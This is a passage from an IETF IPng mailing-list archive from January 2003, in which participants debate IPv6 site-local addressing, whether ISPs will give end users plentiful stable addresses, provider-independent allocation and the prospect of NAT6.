Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 00:03:06 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O83516007035;
	Fri, 24 Jan 2003 00:03:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0O835cQ007034;
	Fri, 24 Jan 2003 00:03:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O83216007027
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 00:03:02 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0O83CgE013993
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 00:03:12 -0800 (PST)
Received: from d12lmsgate-5.de.ibm.com (d12lmsgate-5.de.ibm.com [194.196.100.238])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA14245
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 00:03:06 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-5.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0O82rVx115590;
	Fri, 24 Jan 2003 09:02:54 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0O82nIo157708;
	Fri, 24 Jan 2003 09:02:50 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA27074 from <brian@hursley.ibm.com>; Fri, 24 Jan 2003 09:02:46 +0100
Message-Id: <3E30F2FC.A0BF82F2@hursley.ibm.com>
Date: Fri, 24 Jan 2003 09:02:04 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Dan Lanciani <ipng-incoming@danlan.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
References: <200301231919.OAA25794@ss10.danlan.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Dan Lanciani wrote:
...
> Please explain *specifically* what new mechanism v6 supports for providers to
> realize their service differentiation without limiting IP addresses, and show
> why providers will be inclined to make the switch.

Today, ISPs experience a cost advantage when they limit the number of
addresses or provide only dynamic addresses. That cost advantage is 
a result of scarcity, and will therefore not exist in IPv6. If there
is no cost advantage, there can be no differentiation.

We aren't here to provide methods of differentiation; we're here to
ensure a level playing field. But if there is such a factor in IPv6,
it will likely be the cost advantage of route aggregation, undistorted
by the effect of scarcity. Remember that since CIDR arrived, we have
been constantly balancing scarcity against aggregation, and with IPv6
that balancing act largely goes away.

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 00:10:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O8Ap16007155;
	Fri, 24 Jan 2003 00:10:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0O8Apro007154;
	Fri, 24 Jan 2003 00:10:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O8Am16007147
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 00:10:48 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0O8AwgE015217
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 00:10:58 -0800 (PST)
Received: from d12lmsgate-4.de.ibm.com (d12lmsgate-4.de.ibm.com [194.196.100.237])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA12961
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:10:52 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-4.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0O8AUT2017406;
	Fri, 24 Jan 2003 09:10:31 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0O8ARIo267574;
	Fri, 24 Jan 2003 09:10:27 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA51886 from <brian@hursley.ibm.com>; Fri, 24 Jan 2003 09:10:26 +0100
Message-Id: <3E30F4C8.FD9386DD@hursley.ibm.com>
Date: Fri, 24 Jan 2003 09:09:44 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: "Fred L. Templin" <ftemplin@iprg.nokia.com>
Cc: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: comments on draft-hinden-ipv6-global-site-local-00
References: <Pine.LNX.4.44.0301231139430.7083-100000@netcore.fi> <3E2FE826.8947F289@hursley.ibm.com> <3E3046B9.9020509@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"Fred L. Templin" wrote:
> 
> Brian,
> 
> Brian E Carpenter wrote:
> > Pekka Savola wrote:
> >
> >>On Thu, 23 Jan 2003, Brian E Carpenter wrote:
> >>
> >>>>Substantial:
> >>>>
> >>>>   This document proposes an approach to allocating IPv6 Site-Local
> >>>>   address so they are globally unique and routable only inside of a
> >>>>   site.
> >>>>
> >>>>==> it would be good to go a bit more in depth to how this is actually a
> >>>>problem.  For some it surely isn't; if they don't need to prepare for
> >>>>site-mergers, for example.
> >>>
> >>>Can you define the class of sites that absolutely, definitely,
> >>>until the end of time, are guaranteed not to merge?
> >>
> >>Well, it depends on quite a bit about which is the usage model for
> >>site-locals.  For example, home nets probably don't merge if we would
> >>mandate that site-locals should not cross home-to-office VPN's.
> >
> >
> > Let me be provocative. With proper e2e security, VPNs will become historic.
> > And one of the benefits of IPv6 is supposd to be proper e2e security,
> > as a result of having proper e2e addressing.
> >
> >
> >>But of course, there can be not absolute guarantee.
> >
> >
> > Yes. Scenario: Mum and Dad share a LAN. One day they discover
> > that young Johnny has set up his own LAN in his bedroom.
> > They connect them together, and both of them have
> > printers on FEC0::0002.
> 
> Forgetting for the moment that the LANs in your example are
> probably "flat" topologies and could instead be using link-local
> addresses, how do you propose to prevent such duplicate assignments
> when disconnected/intermittently connected sites merge? Use global
> addresses always? If so, how can the global allocations be procured
> and/or maintained when the sites rarely (if ever) connect to the
> global Internet?

Certainly I'm assuming that Mum and Dad and Johnny have more than
one LAN segment so that link-local is insufficient.

The answer to your question is that I don't know, but I really can't
see a solution that doesn't involve GU prefixes.

    Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 01:10:03 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O9A216007447;
	Fri, 24 Jan 2003 01:10:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0O9A2LK007446;
	Fri, 24 Jan 2003 01:10:02 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O99w16007436
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:09:58 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0O9A84w026289
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:10:08 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA10164
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:10:01 -0800 (PST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id EAA28001
	for ipng@sunroof.eng.sun.com; Fri, 24 Jan 2003 04:10:00 -0500 (EST)
Date: Fri, 24 Jan 2003 04:10:00 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301240910.EAA28001@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian E Carpenter <brian@hursley.ibm.com> wrote:

|Dan Lanciani wrote:
|...
|> Please explain *specifically* what new mechanism v6 supports for providers to
|> realize their service differentiation without limiting IP addresses, and show
|> why providers will be inclined to make the switch.
|
|Today, ISPs experience a cost advantage when they limit the number of
|addresses or provide only dynamic addresses. That cost advantage is 
|a result of scarcity, and will therefore not exist in IPv6. If there
|is no cost advantage, there can be no differentiation.

No.  ISPs use address counting as a surrogate for bandwidth measurement.  They
also limit address stability to discourage server operation.  The supposed
scarcity of addresses cannot explain the use of short DHCP leases for always-on
connections and the attempts to ban NAT.  Beyond this there is the obvious
"cost advantage" of being able to collect a monthly fee for each address.  This
"cost advantage" is not going to go away just because the ISP has more addresses
at its disposal.  Why would you expect an ISP to give up this revenue stream?
Your theory that the ISP's "cost advantage" in limiting the number and stability
of addresses is solely (or even mostly) a result of scarcity is not consistent
with the ISP industry as it currently exists.

|We aren't here to provide methods of differentiation;

I'm not asking for such methods.  I'm merely asking for some specifics to back
up the repeated assertions that ISPs are going to change their business models
and give everyone all the addresses they want.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 01:50:40 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O9oe16007636;
	Fri, 24 Jan 2003 01:50:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0O9oe16007635;
	Fri, 24 Jan 2003 01:50:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0O9oa16007628
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:50:37 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0O9ok4w004843
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:50:46 -0800 (PST)
Received: from d12lmsgate-4.de.ibm.com (d12lmsgate-4.de.ibm.com [194.196.100.237])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA09355
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 01:50:40 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-4.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0O9oaT2030112;
	Fri, 24 Jan 2003 10:50:36 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0O9oXIo035278;
	Fri, 24 Jan 2003 10:50:34 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA45954 from <brian@hursley.ibm.com>; Fri, 24 Jan 2003 10:50:32 +0100
Message-Id: <3E310C3E.EEA03C88@hursley.ibm.com>
Date: Fri, 24 Jan 2003 10:49:50 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Dan Lanciani <ipng-incoming@danlan.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
References: <200301240910.EAA28001@ss10.danlan.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

We're getting way outside IETF territory here. This is my
last note on this subthread:

Dan Lanciani wrote:
> 
> Brian E Carpenter <brian@hursley.ibm.com> wrote:
> 
> |Dan Lanciani wrote:
> |...
> |> Please explain *specifically* what new mechanism v6 supports for providers to
> |> realize their service differentiation without limiting IP addresses, and show
> |> why providers will be inclined to make the switch.
> |
> |Today, ISPs experience a cost advantage when they limit the number of
> |addresses or provide only dynamic addresses. That cost advantage is
> |a result of scarcity, and will therefore not exist in IPv6. If there
> |is no cost advantage, there can be no differentiation.
> 
> No.  ISPs use address counting as a surrogate for bandwidth measurement.  

Some of them in some regions of the world, perhaps. There are plenty who
measure bandwidth consumption explicitly.

> They
> also limit address stability to discourage server operation.  The supposed
> scarcity of addresses cannot explain the use of short DHCP leases for always-on
> connections and the attempts to ban NAT.  

Agreed. But here we are getting into potential regulatory territory and
outside the IETF's scope for sure.

> Beyond this there is the obvious
> "cost advantage" of being able to collect a monthly fee for each address.  This
> "cost advantage" is not going to go away just because the ISP has more addresses
> at its disposal.  Why would you expect an ISP to give up this revenue stream?

Because one of their competitors decides to do so, forcing them to do
so as well. Absent scarcity, charging for something that has zero cost
simply isn't sustainable in a competitive market. Note, when I write
cost I mean expense, not price.

> Your theory that the ISP's "cost advantage" in limiting the number and stability
> of addresses is solely (or even mostly) a result of scarcity is not consistent
> with the ISP industry as it currently exists.

That industry grew up post-CIDR in a climate of scarcity. This is
changing.

> 
> |We aren't here to provide methods of differentiation;
> 
> I'm not asking for such methods.  I'm merely asking for some specifics to back
> up the repeated assertions that ISPs are going to change their business models
> and give everyone all the addresses they want.
> 
>                                 Dan Lanciani
>                                 ddl@danlan.*com
> --------------------------------------------------------------------
>
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 07:37:05 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OFb516008597;
	Fri, 24 Jan 2003 07:37:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0OFb5vI008596;
	Fri, 24 Jan 2003 07:37:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OFb216008589
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 07:37:02 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0OFbAgE011253
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 07:37:11 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22638
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 08:37:05 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([128.224.4.109])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id HAA11630;
	Fri, 24 Jan 2003 07:35:57 -0800 (PST)
Message-Id: <5.1.0.14.2.20030124102715.03456c30@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 24 Jan 2003 10:35:33 -0500
To: Dan Lanciani <ipng-incoming@danlan.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Proposal for site-local clean-up
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: <200301240910.EAA28001@ss10.danlan.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>Why would you expect an ISP to give up this revenue stream?
>Your theory that the ISP's "cost advantage" in limiting the number and 
>stability
>of addresses is solely (or even mostly) a result of scarcity is not consistent
>with the ISP industry as it currently exists.
>
>|We aren't here to provide methods of differentiation;
>
>I'm not asking for such methods.  I'm merely asking for some specifics to back
>up the repeated assertions that ISPs are going to change their business models
>and give everyone all the addresses they want.

This is the crux of why I believe that we will need to find a way to
return to stable, provider-independent, globally-routable addresses to
avoid NAT in IPv6.

I do realize that there are scaling issues with allocating globally-routable,
provider-independent addresses, but I think that we should look for other
ways to fix those problems, rather than provider-allocated addressing.  If
we can't find another way, though, we will be forced to choose between:

         - Provider-allocated addressing:  This will allow ISPs to
                 use the "knobs" they have now to offer different
                 business models to different types of customers, and
                 will probably result in the use of NAT by customers
                 who don't want to pay for more addresses, stable
                 addresses, provider-independence in internal numbering,
                 etc.

         - Provider-Independent address allocation:  This would allow
                 customers to have as many stable, globally-accessible,
                 provider-independent addresses as they need.  But, it
                 also defeats our current plans for provider-based
                 address aggregation, perhaps leading to serious scaling
                 issues in backbone routers.

Of course, if we take the address allocation "knob" away from ISPs, they
will need to find some other way to offer a range of services (and
prices) to different classes of users -- charging for bandwidth use, for
instance.

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 12:05:49 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OK5m16010450;
	Fri, 24 Jan 2003 12:05:48 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0OK5m8X010449;
	Fri, 24 Jan 2003 12:05:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OK5j16010442
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 12:05:45 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0OK5s4w027670
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 12:05:54 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA22639
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 13:05:47 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id PAA29529;
	Fri, 24 Jan 2003 15:05:43 -0500 (EST)
Date: Fri, 24 Jan 2003 15:05:43 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301242005.PAA29529@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian E Carpenter <brian@hursley.ibm.com> wrote:

|We're getting way outside IETF territory here.

Come on.  Understanding the availability of global addresses from ISPs is
critical to analyzing the need for various kinds of local addressing solutions.
It is unreasonable to assert such availability as a justification for removing
local address space and then claim that discussion of the assertion is out of
bounds.

|Dan Lanciani wrote:
|> 
|> Brian E Carpenter <brian@hursley.ibm.com> wrote:
|> 
|> |Dan Lanciani wrote:
|> |...
|> |> Please explain *specifically* what new mechanism v6 supports for providers to
|> |> realize their service differentiation without limiting IP addresses, and show
|> |> why providers will be inclined to make the switch.
|> |
|> |Today, ISPs experience a cost advantage when they limit the number of
|> |addresses or provide only dynamic addresses. That cost advantage is
|> |a result of scarcity, and will therefore not exist in IPv6. If there
|> |is no cost advantage, there can be no differentiation.
|> 
|> No.  ISPs use address counting as a surrogate for bandwidth measurement.  
|
|Some of them in some regions of the world, perhaps.

Some, as in pretty much every consumer- and small-business-level ISP in the US.

|There are plenty who
|measure bandwidth consumption explicitly.

If you count ISPs that use bandwidth caps as an *additional* safeguard beyond
address limiting then this might rise to the level of "plenty."

|> They
|> also limit address stability to discourage server operation.  The supposed
|> scarcity of addresses cannot explain the use of short DHCP leases for always-on
|> connections and the attempts to ban NAT.  
|
|Agreed. But here we are getting into potential regulatory territory and
|outside the IETF's scope for sure.

The IETF defines the addressing architecture.  The addressing architecture has
a dramatic effect on the market economics.  You cannot refuse to consider those
effects on the grounds that they resemble regulation.  This should be especially
true when you are discussing a new limitation on addressing flexibility that by
its very nature will give ISPs a huge financial benefit at the expense of end
users.

|> Beyond this there is the obvious
|> "cost advantage" of being able to collect a monthly fee for each address.  This
|> "cost advantage" is not going to go away just because the ISP has more addresses
|> at its disposal.  Why would you expect an ISP to give up this revenue stream?
|
|Because one of their competitors decides to do so, forcing them to do
|so as well.  Absent scarcity, charging for something that has zero cost
|simply isn't sustainable in a competitive market.

That's what they said about the phone companies, yet I still pay lots of monthly
fees for certain bit settings in the switch.  I even pay for DTMF service even
though it costs less for the phone company to support than dial service.

|> Your theory that the ISP's "cost advantage" in limiting the number and stability
|> of addresses is solely (or even mostly) a result of scarcity is not consistent
|> with the ISP industry as it currently exists.
|
|That industry grew up post-CIDR in a climate of scarcity. This is
|changing.

The only scarcity that matters in this context is the lack of availability of
IP addresses to end users.  IPv6 does not improve this situation at all.  As
long as address allocation is controlled by the ISP there will be artificial
scarcity for the end user because this situation provides the ISPs with a
financial advantage.  Most ISPs are in business to make money.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 12:53:15 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OKrE16010911;
	Fri, 24 Jan 2003 12:53:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0OKrECU010910;
	Fri, 24 Jan 2003 12:53:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OKrB16010903
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 12:53:11 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0OKrK4w011835
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 12:53:20 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA15452
	for <ipng@sunroof.eng.sun.com>; Fri, 24 Jan 2003 12:53:13 -0800 (PST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id PAA29733
	for ipng@sunroof.eng.sun.com; Fri, 24 Jan 2003 15:53:11 -0500 (EST)
Date: Fri, 24 Jan 2003 15:53:11 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301242053.PAA29733@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re:  Let us embrace NAT6, was Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Quality Quorum <qqi@theworld.com> wrote:

|It seems to me that stability and security of internal enterprise
|addressing is a very serious requirement.

And why just enterprise?  The stability of my home network is more important
to me than the stability of any enterprise network.

|Frankly, I do not see any way
|to avoid NAT6.

Without some other kind of local address space it does seem inevitable.  It's
unfortunate that folks are considering ways to make applications NAT-hostile
to force us to depend on global addresses allocated by ISPs.

|Second isssue, which will IMHO force NAT6 is relative scarcity of global
|routing prefixes. In the current scheme of things we have only 25 bits to
|express routing topology (the rest is taken by admin and local) and
|it may prove to be too small.

Given the hierarchical allocations required by strict address aggregation,
pretty much any fixed number of bits is too few.  Hierarchical allocations
are incredibly wasteful because they consume address space exponential in
the number of providers in the chain.  They also tend to make the structure
of the market inflexible and require pre-definition of various "types" of
providers--something that would have been better left to that market.  I
suspect that regardless of the intent, many consumer-level ISPs will operate
at the bottom of the chain (likely below the point that the architecture
considers suitable for ISPs).  This will virtually guarantee an artificial
address scarcity at the end-user level.  I've noticed that even the optimists
are no longer talking about /48s for dialup.  Soon I expect that the reduced
claims of /64s will degenerate into /{128-n}s where n is directly related to
the "level of service."

It's really a shame that IPv6 took the path that it did.  Originally it was
to be a clean and simple solution to the address shortage.  Fixed-length
addresses and (supposedly initial) hierarchical allocation were virually
mandated by the simplicity requirement.  The two alternatives that would
have provided far greater flexibility (*variable*-length hierarchical
addresses or fixed-length portable identifiers) appeared too complicated.
Over the years IPv6 has acquired the every-feature-but-the-kitchen-sink
syndrome, and the relative complexity of a more powerful addressing scheme
looks quite low in retrospect--but now it's too late to retrofit one.  At
the same time we are discovering that merely increasing the (fixed) number
of address bits while perpetuating the allocation and routing procedures
that were originally intended as a temporary hack to keep old hardware running
doesn't offer the panacea we expected.  The problem was never just (or even
mostly) the number of bits in an address.  It was (and is) a complex combination
of techincal routing issues and market economics.

|I hope that by addressing this problem head on early in the process we can
|do implementations much less painful and better prerforming.

The problem was addressed early on with site-locals, but now they are being
restricted into uselessness.  I have strong doubts that the discussion of
globally unique identifiers is anything more than a passing diversion.  Every
time this has been discussed in the past it was shot down on the grounds that
it could subvert the all-important MLM^H^H^H hierarchical addressing scheme.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 24 13:49:05 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OLn516011144;
	Fri, 24 Jan 2003 13:49:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0OLn4x4011143;
	Fri, 24 Jan 2003 13:49:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0OLn016011136
